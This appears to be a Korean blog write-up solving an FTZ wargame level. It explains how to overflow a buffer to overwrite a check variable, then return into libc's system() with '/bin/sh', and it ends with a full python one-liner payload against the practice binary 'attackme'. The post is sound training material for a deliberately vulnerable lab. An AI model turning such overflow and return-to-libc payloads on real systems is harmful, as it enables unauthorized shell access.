소스코드를 읽어봅니다
저번 문제와는 꽤 다르네요
인자값을 buf에 입력받는데 조건은 i로 비교하네요
buf를 오버플로해서 i에다가 값을 덮어쓰도록 하겠습니다
두 변수 사이의 거리를 구해봅시다
buf의 위치가 ebp-1048이 됐고 아래 if문이 cmp이니 ebp-12가 i가 위치한 곳이겠네요
두 변수 사이의 거리는 1036이므로 1036을 채워주고 조건에 맞게 16진수 값을 리틀엔디언으로 써주고 남은 12바이트 dummy값을 채워준 후 저번 문제처럼 RTL 기법을 사용해보겠습니다
RTL 기법의 정확한 사용 방법은 제 level11 티스토리를 참고해주세요!
https://qpalzm1029.tistory.com/26?category=555234
FTZ level11 풀이!
로그인해서 ls로 무슨 파일들이 있는지 확인해봅니다 hint 파일과 attackme 파일이 있네요 file 명령어로 파일을 확인해보니 32bit짜리 실행 파일이라 하네요 한 번 실행해 보겠습니다 오류가 뜨네요 h
qpalzm1029.tistory.com
각각 system(), /bin/sh의 주소는 4203f2c0, 42127ea4입니다
이제 페이로드를 작성해보죠
Payload = dummy[1036] + i(0x1234567) + dummy[12] + system() + dummy[4] + /bin/sh
최종 페이로드 : ./attackme `python -c 'print "\x90"*1036 + "\x67\x45\x23\x01" + "\x90"*12 + "\xc0\xf2\x03\x42" + "\x90"*4 + "\xa4\x7e\x12\x42"'`
플래그가 상당히 싸발적이네요
'Pwnable > FTZ' 카테고리의 다른 글
[FTZ] level15 풀이!! (2) | 2022.05.11 |
---|---|
[FTZ] level14 풀이!! (1) | 2022.05.10 |
[FTZ] level12 풀이!!! (3) | 2022.05.09 |
[FTZ] level11 풀이!!! (2) | 2022.05.03 |
[FTZ] level 9 풀이! (1) | 2022.05.03 |